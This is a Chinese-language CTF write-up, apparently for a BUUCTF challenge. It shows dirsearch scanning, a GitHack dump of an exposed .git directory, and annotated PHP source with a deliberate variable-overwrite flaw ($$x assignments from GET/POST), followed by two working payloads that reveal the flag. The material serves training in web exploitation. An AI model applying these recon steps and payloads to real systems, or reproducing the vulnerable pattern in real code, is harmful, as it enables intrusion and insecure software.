先用dirsearch扫一下,访问一下没有什么
需要设置线程
dirsearch -u http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn:81/ --timeout=2 -t 1 -x 400,403,404,500,503,429
使用githack
python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git
https://www.cnblogs.com/keta/p/6117237.html foreach的语法
foreach用于遍历操作或输出数组
- <?php
-
- include 'flag.php';
-
- $yds = "dog";
- $is = "cat";
- $handsome = 'yds';
-
- foreach($_POST as $x => $y){
- $$x = $y;
- } //传入的post值会经过这,例:传入flag=flag,得到$x=flag,$y=flag,则$flag=flag;将会得不到flag的值
-
- foreach($_GET as $x => $y){
- $$x = $$y;
- } //#传入的get值会经过这。例:传入is=flag,得到$is=$flag
-
- foreach($_GET as $x => $y){
- if($_GET['flag'] === $x && $x !== 'flag'){
- exit($handsome);
- } //#get传入flag变量且值不为flag,输出handsome,退出
- }
-
- if(!isset($_GET['flag']) && !isset($_POST['flag'])){
- exit($yds);
- } //#get和post传参不能有flag
-
- if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
- exit($is); //#用post或get传的参数必须是flag且值为flag
- }
-
- echo "the flag is: ".$flag;
因为很少做变量覆盖,都是参考别人的
- #传入的get值会经过这。例:传入is=flag,得到$is=$flag.
- foreach($_GET as $x => $y){
- $$x = $$y;
- }
- #用post或get传的参数必须是flag且值为flag
- if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
- exit($is);
- }
首先传入is=flag,得到$x=is,$y=flag. 带进去变成$is=$flag;
if要求用post或get传入flag=flag,就会打印$is。而且经过foreach函数时得到$flag=$flag。没有改变内容。
即最终payload:/?is=flag&flag=flag
- #传入的get值会经过这。例:传入is=flag,得到$is=$flag.
- foreach($_GET as $x => $y){
- $$x = $$y;
- }
- #get和post传参不能有flag
- if(!isset($_GET['flag']) && !isset($_POST['flag'])){
- exit($yds);
- }
最终输出$yds,和第一种一样,先构造yds=flag,
if要求get和post不能有flag函数。直接忽略
即payload:/?yds=flag